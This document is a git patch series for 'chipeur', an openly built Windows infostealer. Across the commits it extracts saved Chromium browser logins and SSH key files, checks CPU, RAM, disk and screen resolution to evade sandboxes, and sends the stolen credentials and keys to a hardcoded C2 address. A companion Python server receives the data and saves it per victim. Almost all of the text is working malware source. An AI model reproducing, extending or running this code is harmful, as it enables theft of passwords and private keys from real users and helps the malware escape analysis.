+} + +BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ + // Function that send the credentials to the c2 server + // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN|[RUEPIHC] + PWSTR header = get_header(); + size_t lenHeader = wcslen(header); + PWSTR datatype = L"credentials|"; + size_t lenHeadType = lenHeader + 13 + 1; + PWSTR headType = malloc(sizeof(WCHAR) * lenHeadType); + if (headType == NULL){ + fprintf(stderr, "DEBUG: send_credentials: Error, couldn't allocate the headType"); + return FALSE; + } + + _snwprintf(headType, lenHeadType, L"%ls%ls", header, datatype); + + wprintf(L"%ls\n"); + + return TRUE; } \ No newline at end of file diff --git a/src/chipeur.c b/src/chipeur.c index bcda9f3..2950b4d 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -7,14 +7,22 @@ #include #include "chromium.h" +#include "logins.h" #include "find_ssh_key.h" #include "obfuscation.h" #include "c2.h" int main(void) { SetConsoleOutputCP(CP_UTF8); - steal_chromium_creds(); - sshKey keysFilenamesTab[MAX_KEY_FILES] = {0,0}; + Credential credTab[CRED_SIZE] = {0}; + DWORD32 lenCredTab = 0; + steal_chromium_creds(credTab, &lenCredTab); + + for (int i = 0; i < lenCredTab; i++){ + printCredential(credTab[i]); + } + + sshKey keysFilenamesTab[MAX_KEY_FILES] = {0}; DWORD32 lenKeysTab = 0; SOCKET sock; diff --git a/src/chromium.c b/src/chromium.c index 0904129..8fee806 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -223,7 +223,7 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, } // Steals credentials for a singular `browser` -static int steal_browser_creds(BrowserInfo browser) { +static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD32 * indexCredTab) { // login data contains each logins with the password encrypted and other // attributes in clear text PWSTR loginDataPath; @@ -283,10 +283,13 @@ static int steal_browser_creds(BrowserInfo browser) { } for (int i = 0; i < credentialsCount; i++) { - printf("======LOGIN %d======\n", i + 1); - printCredential(credentials[i]); + if (*indexCredTab < CRED_SIZE){ + credTab[*indexCredTab].url = strdup(credentials[i].url); + credTab[*indexCredTab].username = strdup(credentials[i].username); + credTab[*indexCredTab].password = strdup(credentials[i].password); + (*indexCredTab)++; + } } - printf("====================\n"); free_credentials(credentials, credentialsCount); free_logins(logins, loginsCount); // allocated in chrmm_retrieve_logins @@ -299,9 +302,9 @@ static int steal_browser_creds(BrowserInfo browser) { return EXIT_SUCCESS; } -int steal_chromium_creds() { +int steal_chromium_creds(Credential * credTab, DWORD32 * indexCredTab) { for (int i = 0; i < sizeof(browsers) / sizeof(BrowserInfo); i++) { - if (steal_browser_creds(browsers[i]) != EXIT_SUCCESS) { + if (steal_browser_creds(browsers[i], credTab, indexCredTab) != EXIT_SUCCESS) { fwprintf(stderr, L"Unable to find credentials for %s. Continuing...\n", browsers[i].browserName); } From 371964aeda686d098b2b1f508699bf04c8527477 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 30 Jan 2025 11:07:01 +0100 Subject: [PATCH 12/49] implement 0xpat checks https://0xpat.github.io/Malware_development_part_2/ --- include/hardware_requirements.h | 6 +++ src/chipeur.c | 8 +++ src/hardware_requirements.c | 88 +++++++++++++++++++++++++++++++++ 3 files changed, 102 insertions(+) create mode 100644 include/hardware_requirements.h create mode 100644 src/hardware_requirements.c diff --git a/include/hardware_requirements.h b/include/hardware_requirements.h new file mode 100644 index 0000000..53bc9ae --- /dev/null +++ b/include/hardware_requirements.h @@ -0,0 +1,6 @@ +#ifndef HARDWARE_REQUIREMENTS_H +#define HARDWARE_REQUIREMENTS_H + +int check_hardware(); + +#endif diff --git a/src/chipeur.c b/src/chipeur.c index c7e53ba..35804e9 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -5,6 +5,7 @@ #include #include +#include "hardware_requirements.h" #include "chromium.h" #include "find_ssh_key.h" #include "obfuscation.h" @@ -16,6 +17,13 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); + // Stop if sandbox detected + if (check_hardware() == EXIT_FAILURE){ + fprintf(stderr, "Hardware requirements check Failed: "); + return EXIT_FAILURE; + } + + // Actual stealing hello(); steal_chromium_creds(); find_ssh_key(L"C:\\Users"); diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c new file mode 100644 index 0000000..b46a8ff --- /dev/null +++ b/src/hardware_requirements.c @@ -0,0 +1,88 @@ +#include +#include +#include + +// If the host has less than 2 cores chipeur does not run +static int check_cpu() { + SYSTEM_INFO systemInfo; + GetSystemInfo(&systemInfo); + DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; + if (numberOfProcessors < 2) { + fprintf(stderr, "Insufficient CPU cores detected !!\n"); + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 2GB of RAM chipeur does not run +static int check_ram() { + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + if (!GlobalMemoryStatusEx(&memoryStatus)) { + fprintf(stderr, "Failed to get RAM status.\n"); + return EXIT_FAILURE; + } + + if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048) { + fprintf(stderr, "Insufficient RAM detected !!\n"); + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 100GB of capacity (not availability) of HDD chipeur +// does not run +static int check_hdd() { + HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) { + fprintf(stderr, "Failed to open physical drive.\n"); + return EXIT_FAILURE; + } + + DISK_GEOMETRY pDiskGeometry; + DWORD bytesReturned; + BOOL result = DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, + &pDiskGeometry, sizeof(pDiskGeometry), + &bytesReturned, NULL); + if (!result) { + fprintf(stderr, "Failed to get disk geometry.\n"); + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + DWORD diskSizeGB; + diskSizeGB = + (DWORD)(pDiskGeometry.Cylinders.QuadPart * + (ULONG)pDiskGeometry.TracksPerCylinder * + (ULONG)pDiskGeometry.SectorsPerTrack * + (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024); + if (diskSizeGB < 100) { + fprintf(stderr, "Insufficient HDD capacity detected !!\n"); + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + CloseHandle(hDevice); + return EXIT_SUCCESS; +} + +int check_hardware() { + if (check_cpu() == EXIT_FAILURE) { + fprintf(stderr, "CPU check failed\n"); + return EXIT_FAILURE; + } + if (check_ram() == EXIT_FAILURE) { + fprintf(stderr, "RAM check failed\n"); + return EXIT_FAILURE; + } + if (check_hdd() == EXIT_FAILURE) { + fprintf(stderr, "HDD check failed\n"); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} From 85cdaa25280035c13bf8fdcb535c1b351497ecda Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 30 Jan 2025 11:16:12 +0100 Subject: [PATCH 13/49] add files to makefile --- makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/makefile b/makefile index e29e16e..4710ab3 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ # add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -45,6 +45,9 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h $(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ From 59926789d7c3a3afd53ce6ad9ac8a5750919a03c Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Tue, 11 Feb 2025 13:01:32 +0100 Subject: [PATCH 14/49] precise error codes --- include/hardware_requirements.h | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/include/hardware_requirements.h b/include/hardware_requirements.h index 53bc9ae..3b22fda 100644 --- a/include/hardware_requirements.h +++ b/include/hardware_requirements.h @@ -1,6 +1,11 @@ #ifndef HARDWARE_REQUIREMENTS_H #define HARDWARE_REQUIREMENTS_H +#define EXIT_CPU_FAIL 200 +#define EXIT_RAM_FAIL 201 +#define EXIT_HDD_FAIL 202 +#define EXIT_RESOLUTION_FAIL 203 + int check_hardware(); #endif From d5d83c5a2dbd0f43c81cde3df9dee6d0879a230d Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Tue, 11 Feb 2025 13:01:44 +0100 Subject: [PATCH 15/49] handle precise error codes --- src/chipeur.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/src/chipeur.c b/src/chipeur.c index 35804e9..cc72e1e 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -5,9 +5,9 @@ #include #include -#include "hardware_requirements.h" #include "chromium.h" #include "find_ssh_key.h" +#include "hardware_requirements.h" #include "obfuscation.h" void hello(void) { printf("Hello World\n"); } @@ -18,8 +18,19 @@ int main(void) { SetConsoleOutputCP(CP_UTF8); // Stop if sandbox detected - if (check_hardware() == EXIT_FAILURE){ - fprintf(stderr, "Hardware requirements check Failed: "); + int return_code = check_hardware(); + if (return_code != EXIT_SUCCESS) { + fprintf(stderr, "Hardware requirements check failed. Reason: "); + switch (return_code) { + case EXIT_CPU_FAIL: fprintf(stderr, "CPU check failed.\n"); break; + case EXIT_RAM_FAIL: fprintf(stderr, "RAM check failed.\n"); break; + case EXIT_HDD_FAIL: fprintf(stderr, "HDD check failed.\n"); break; + case EXIT_RESOLUTION_FAIL: + fprintf(stderr, "Resolution check failed.\n"); + break; + default: fprintf(stderr, "Unknown check failed.\n"); break; + } + fprintf(stderr, "Now exiting..."); return EXIT_FAILURE; } From 49ea9d31eb045e5dc6f56744164fafa3561c15fd Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Tue, 11 Feb 2025 13:01:57 +0100 Subject: [PATCH 16/49] screen resolution & implementation of precise error codes --- src/hardware_requirements.c | 62 +++++++++++++++++++++++++++++++------ 1 file changed, 53 insertions(+), 9 deletions(-) diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c index b46a8ff..3468534 100644 --- a/src/hardware_requirements.c +++ b/src/hardware_requirements.c @@ -1,3 +1,5 @@ +#include "hardware_requirements.h" + #include #include #include @@ -20,7 +22,7 @@ static int check_ram() { MEMORYSTATUSEX memoryStatus; memoryStatus.dwLength = sizeof(memoryStatus); if (!GlobalMemoryStatusEx(&memoryStatus)) { - fprintf(stderr, "Failed to get RAM status.\n"); + fprintf(stderr, "Failed to get RAM status !!\n"); return EXIT_FAILURE; } @@ -39,7 +41,7 @@ static int check_hdd() { FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { - fprintf(stderr, "Failed to open physical drive.\n"); + fprintf(stderr, "Failed to open physical drive !!\n"); return EXIT_FAILURE; } @@ -49,7 +51,7 @@ static int check_hdd() { &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, NULL); if (!result) { - fprintf(stderr, "Failed to get disk geometry.\n"); + fprintf(stderr, "Failed to get disk geometry !!\n"); CloseHandle(hDevice); return EXIT_FAILURE; } @@ -70,18 +72,60 @@ static int check_hdd() { return EXIT_SUCCESS; } +BOOL CALLBACK check_monitor_resolution(HMONITOR hMonitor, HDC hdcMonitor, + LPRECT lpRect, LPARAM data) { + MONITORINFO monitorInfo; + monitorInfo.cbSize = sizeof(MONITORINFO); + GetMonitorInfoW(hMonitor, &monitorInfo); + + int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left; + int yResolution = monitorInfo.rcMonitor.bottom - monitorInfo.rcMonitor.top; + + if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440) || + (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && + yResolution != 900)) { + fprintf(stderr, "Non-standard screen resolution detected !!\n"); + *((BOOL*)data) = TRUE; // Set the flag if resolution is not standard + } + return EXIT_SUCCESS; // Continue enumeration +} + +static int check_resolution() { + MONITORENUMPROC pMyCallback = (MONITORENUMPROC)check_monitor_resolution; + int xResolution = GetSystemMetrics(SM_CXSCREEN); + int yResolution = GetSystemMetrics(SM_CYSCREEN); + + // Exit if the primary monitor resolution is too small + if (xResolution < 1000 && yResolution < 1000) { + return 1; + } + + int numberOfMonitors = GetSystemMetrics(SM_CMONITORS); + BOOL sandbox = FALSE; + + // Enumerate monitors and check resolutions + EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox)); + + // Exit if a non-standard resolution is detected + if (sandbox) { + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} + int check_hardware() { if (check_cpu() == EXIT_FAILURE) { - fprintf(stderr, "CPU check failed\n"); - return EXIT_FAILURE; + return EXIT_CPU_FAIL; } if (check_ram() == EXIT_FAILURE) { - fprintf(stderr, "RAM check failed\n"); - return EXIT_FAILURE; + return EXIT_RAM_FAIL; } if (check_hdd() == EXIT_FAILURE) { - fprintf(stderr, "HDD check failed\n"); - return EXIT_FAILURE; + return EXIT_HDD_FAIL; + } + if (check_resolution() == EXIT_FAILURE) { + return EXIT_RESOLUTION_FAIL; } return EXIT_SUCCESS; From 11f58b717962fa61d34a2e0fb8578ad2036da30d Mon Sep 17 00:00:00 2001 From: gznop Date: Wed, 12 Feb 2025 22:16:12 +0100 Subject: [PATCH 17/49] c2 part working, can be optimized --- include/c2.h | 4 +++- server/simple_serv.py | 53 ++++++++++++++++++++++++++++++++++++------- src/c2.c | 53 +++++++++++++++++++++++++++++++++++++------ src/chipeur.c | 16 +++++++++---- 4 files changed, 105 insertions(+), 21 deletions(-) diff --git a/include/c2.h b/include/c2.h index 0294a60..e636a13 100644 --- a/include/c2.h +++ b/include/c2.h @@ -4,10 +4,12 @@ #include #include "find_ssh_key.h" +#include "logins.h" -#define C2_IP "192.168.56.1" +#define C2_IP "192.168.1.17" #define C2_PORT 1234 BOOL send_ssh_key(sshKey [MAX_KEY_FILES], DWORD32, SOCKET *); +BOOL send_credentials(SOCKET *, Credential *, DWORD32); BOOL connect_to_c2(SOCKET *); #endif \ No newline at end of file diff --git a/server/simple_serv.py b/server/simple_serv.py index c086f2e..6f713c8 100644 --- a/server/simple_serv.py +++ b/server/simple_serv.py @@ -3,7 +3,8 @@ import time import threading -def savefile(username: str, datatype: str, filename: str, client: socket.socket): +def createpath(username: str, datatype: str): + """ create the folder to store the data ./username/datatype """ try : os.mkdir(username) except FileExistsError: @@ -17,13 +18,40 @@ def savefile(username: str, datatype: str, filename: str, client: socket.socket) os.mkdir(path) except FileExistsError: print(f"DEBUG: {path} directory already exists.") - except: - print(f"DEBUG: Error while creating the {path} directory. Abort") - return - path: str = username + "/" + datatype + "/" + str(int(time.time())) + "_" + filename + path: str = username + "/" + datatype + "/" + return path + +def savefile(username: str, datatype: str, filename: str, client: socket.socket): + """ create and write a file in the directory ./username/file/""" + + path = createpath(username, datatype) + + # creating a unique file to avoid overwriting + path = path + str(int(time.time())) + "_" + filename + fic = open(path, "w") + ch = client.recv(9).decode("utf-8") + # ending condition, chipeur client allways send it + while ch[-9:] != "[RUEPIHC]": + try: + cur_c = client.recv(1).decode("utf-8") + ch += cur_c + except: + fic.write(ch) + fic.close() + return + ch = ch[:-9] + print(f"DEBUG: Writing '{path}' file") + fic.write(ch) + fic.close() + +def savecreds(username: str, datatype: str, client: socket.socket): + """ create and write a file in the directory ./username/file/ """ + path = createpath(username, datatype) + path = path + "creds_" + str(int(time.time())) fic = open(path, "w") ch = client.recv(9).decode("utf-8") + # ending condition, chipeur client allways send it while ch[-9:] != "[RUEPIHC]": try: cur_c = client.recv(1).decode("utf-8") @@ -31,12 +59,15 @@ def savefile(username: str, datatype: str, filename: str, client: socket.socket) except: fic.write(ch) fic.close() + return ch = ch[:-9] print(f"DEBUG: Writing '{path}' file") fic.write(ch) fic.close() + def read_until_next_pipe_UTF16(client: socket.socket): + """ this function is used to parse the chipeur request and gather the information of the request """ ch = "" cur_c = "" attempt = 0 @@ -53,26 +84,32 @@ def read_until_next_pipe_UTF16(client: socket.socket): if attempt == 3: print("DEBUG: read_until_next_pipe_UTF16: 3rd time reading fails: exiting") raise TimeoutError + # we return the data before the pipe return ch[:-1] def handle_client(client_socket, addr): print(f"Connection from {addr}") try: while True: + # should read [CHIPEUR] chipeur = read_until_next_pipe_UTF16(client_socket) - print(chipeur) if "[CHIPEUR]" not in chipeur: - print("pas chipeur") client_socket.close() break - + username = read_until_next_pipe_UTF16(client_socket) datatype = read_until_next_pipe_UTF16(client_socket) + # only two datatypes possible if datatype == "file": filename = read_until_next_pipe_UTF16(client_socket) savefile(username, datatype, filename, client_socket) + + if datatype == "credentials": + savecreds(username, datatype, client_socket) + + except ConnectionResetError as error: print(f"DEBUG: Connection closed: {error}") except TimeoutError as error: diff --git a/src/c2.c b/src/c2.c index 66f112e..35a574c 100644 --- a/src/c2.c +++ b/src/c2.c @@ -11,7 +11,7 @@ #include "find_ssh_key.h" #include "obfuscation.h" #include "extract_file.h" -#include "login.h" +#include "logins.h" BOOL connect_to_c2(SOCKET *sock) { // Create the socket and establish the connection to the C2 server. @@ -67,7 +67,7 @@ static BOOL close_c2_conn(SOCKET *sock) { static PWSTR get_header(void) { // [CHIPEUR] + 'username@machinename' is the header of a message to the C2 - + // the caller shall free the PWSTR returned int err; WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1] = {0}; DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1; @@ -87,6 +87,7 @@ static PWSTR get_header(void) { GetLastError()); } + // computing the full header int realSize = _snwprintf(fullName, lenFullName, L"[CHIPEUR]|%ls@%ls|", userName, machineName); if (realSize == -1) { @@ -144,7 +145,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, Try to send all the ssh key files. If all the files are sent successfully, it returns TRUE. Otherwise, it returns FALSE. The sent format for ssh key file is the following : - [CHIPEUR]|@|file|||[RUEPIHC] + [CHIPEUR]|@|file||[RUEPIHC] */ PWSTR header = get_header(); PWSTR datatype = L"file|"; @@ -174,11 +175,13 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, free(header); return FALSE; } + // sending the ssh public key if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].publicKeyPath); success = FALSE; } - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 10, 0); + // sending the tail of the request + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); free(headTypeFname); @@ -208,11 +211,13 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, free(header); return FALSE; } + // sending the ssh secret file if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].secretKeyPath); success = FALSE; } - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 10, 0); + // senfing the tail of the request + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); free(headTypeFname); @@ -230,7 +235,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ // Function that send the credentials to the c2 server - // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN|[RUEPIHC] + // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN[RUEPIHC] PWSTR header = get_header(); size_t lenHeader = wcslen(header); PWSTR datatype = L"credentials|"; @@ -238,12 +243,46 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ PWSTR headType = malloc(sizeof(WCHAR) * lenHeadType); if (headType == NULL){ fprintf(stderr, "DEBUG: send_credentials: Error, couldn't allocate the headType"); + free(header); return FALSE; } + // sending the header _snwprintf(headType, lenHeadType, L"%ls%ls", header, datatype); + free(header); + int err = send(*sock, (char *)headType, lenHeadType * 2, 0); + if (err == SOCKET_ERROR){ + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); + free(headType); + } + free(headType); + + // sending the credentials + for (DWORD i = 0; i < lenCredTab; i++){ + char * credToSend = NULL; + DWORD32 lenCredToSend = strlen(credTab[i].url) + strlen(credTab[i].username) + strlen(credTab[i].password) + 4; + credToSend = malloc(sizeof(char) * (lenCredToSend + 1)); + credToSend[lenCredToSend] = 0; + if (credToSend == NULL){ + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't allocate credentials to send\n"); + break; + } - wprintf(L"%ls\n"); + snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url, credTab[i].username, credTab[i].password); + err = send(*sock, credToSend, lenCredToSend, 0); + free(credToSend); + if (err == SOCKET_ERROR){ + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); + break; + } + } + // sending the tail of the request + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); + if (err == SOCKET_ERROR) { + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send end of request: %d\n", GetLastError()); + return FALSE; + } + printf("DEBUG: send_credentials: Credentials sent successfully\n"); return TRUE; } \ No newline at end of file diff --git a/src/chipeur.c b/src/chipeur.c index 2950b4d..cc18131 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -16,23 +16,29 @@ int main(void) { SetConsoleOutputCP(CP_UTF8); Credential credTab[CRED_SIZE] = {0}; DWORD32 lenCredTab = 0; + sshKey keysFilenamesTab[MAX_KEY_FILES] = {0}; + DWORD32 lenKeysTab = 0; + steal_chromium_creds(credTab, &lenCredTab); + find_ssh_key(L"C:\\Users", keysFilenamesTab, &lenKeysTab); for (int i = 0; i < lenCredTab; i++){ printCredential(credTab[i]); } - sshKey keysFilenamesTab[MAX_KEY_FILES] = {0}; - DWORD32 lenKeysTab = 0; - SOCKET sock; BOOL success = connect_to_c2(&sock); if (success == 0){ exit(-1); } - find_ssh_key(L"C:\\Users", keysFilenamesTab, &lenKeysTab); success = send_ssh_key(keysFilenamesTab, lenKeysTab, &sock); - + if (success){ + printf("DEBUG: main: Info, ssh keys sent with success\n"); + } + success = send_credentials(&sock, credTab, lenCredTab); + if (success){ + printf("DEBUG: main: Info, creds sent with success\n"); + } return EXIT_SUCCESS; } From 06d1e71d444aa0312e565dbec44dcd575bb08aa3 Mon Sep 17 00:00:00 2001 From: gznop Date: Wed, 12 Feb 2025 22:56:09 +0100 Subject: [PATCH 18/49] adding debug precompiler instruction --- src/c2.c | 57 +++++++++++++++++++++++++++++++++++++++++++++- src/chromium.c | 34 ++++++++++++++++++++++++++- src/extract_file.c | 7 +++++- src/find_ssh_key.c | 9 +++++++- src/logins.c | 24 ++++++++++++++++++- src/path.c | 6 +++++ 6 files changed, 132 insertions(+), 5 deletions(-) diff --git a/src/c2.c b/src/c2.c index 35a574c..dcb8559 100644 --- a/src/c2.c +++ b/src/c2.c @@ -21,9 +21,11 @@ BOOL connect_to_c2(SOCKET *sock) { WSADATA wsaData = {0}; err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { +#ifdef DEBUG printf( "DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n", err); +#endif return FALSE; } @@ -31,8 +33,10 @@ BOOL connect_to_c2(SOCKET *sock) { *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (*sock == INVALID_SOCKET) { err = WSAGetLastError(); +#ifdef DEBUG printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n", err); +#endif return FALSE; } @@ -45,11 +49,15 @@ BOOL connect_to_c2(SOCKET *sock) { // connecting to the c2 server err = connect(*sock, (SOCKADDR *)&client, sizeof(client)); if (err == SOCKET_ERROR) { +#ifdef DEBUG printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n", WSAGetLastError()); +#endif return FALSE; } +#ifdef DEBUG printf("INFO: connect_to_c2: Successfully connected to the c2 server\n"); +#endif return TRUE; } @@ -57,9 +65,11 @@ static BOOL close_c2_conn(SOCKET *sock) { // closing the server int err = closesocket(*sock); if (err == SOCKET_ERROR) { +#ifdef DEBUG printf( "DEBUG: close_c2_conn: Error while closing the connection: Error %d\n", WSAGetLastError()); +#endif return FALSE; } return TRUE; @@ -78,28 +88,36 @@ static PWSTR get_header(void) { err = GetComputerNameW(machineName, &lenMachineName); if (err == 0) { +#ifdef DEBUG printf("DEBUG: get_header: Error while getting the machine name. %d\n", GetLastError()); +#endif } err = GetUserNameW(userName, &lenUserName); if (err == 0) { +#ifdef DEBUG printf("DEBUG: get_header: Error while getting the username. %d\n", GetLastError()); +#endif } // computing the full header int realSize = _snwprintf(fullName, lenFullName, L"[CHIPEUR]|%ls@%ls|", userName, machineName); if (realSize == -1) { +#ifdef DEBUG fprintf(stderr, "DEBUG: get_header: Error while creating the header username\n"); +#endif return NULL; } PWSTR header = _wcsdup(fullName); if (header == NULL) { +#ifdef DEBUG fprintf(stderr, "DEBUG: get_header: Error while allocating the header username\n"); +#endif } return header; @@ -116,10 +134,14 @@ static BOOL send_file(const PWSTR filename, SOCKET *sock) { hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG wprintf(L"DEBUG: send_file: Error, couldn't open %ls file.\n", filename); +#endif return FALSE; } +#ifdef DEBUG wprintf(L"DEBUG: send_file: Opening '%ls' file.\n", filename); +#endif // reading 1024 bytes block do { result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL); @@ -129,7 +151,9 @@ static BOOL send_file(const PWSTR filename, SOCKET *sock) { int err = send(*sock, buffer, bytesRead, 0); if (err == SOCKET_ERROR){ +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_file: Error, couldn't send a part of the file %ls: %d\n", filename, GetLastError()); +#endif return FALSE; } @@ -160,7 +184,9 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].publicKeyPath) + 6; headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); if (headTypeFname == NULL) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); +#endif free(header); return FALSE; } @@ -170,25 +196,33 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); wprintf(L"headtypefname = %ls\n", headTypeFname); if (err == SOCKET_ERROR) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); +#endif free(headTypeFname); free(header); return FALSE; } // sending the ssh public key if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].publicKeyPath); +#endif success = FALSE; } // sending the tail of the request err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); +#endif free(headTypeFname); free(header); return FALSE; } +#ifdef DEBUG wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].publicKeyPath); +#endif free(headTypeFname); } // Doing the same but for the secret key filename @@ -196,35 +230,44 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].secretKeyPath) + 6; headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); if (headTypeFname == NULL) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); +#endif free(header); 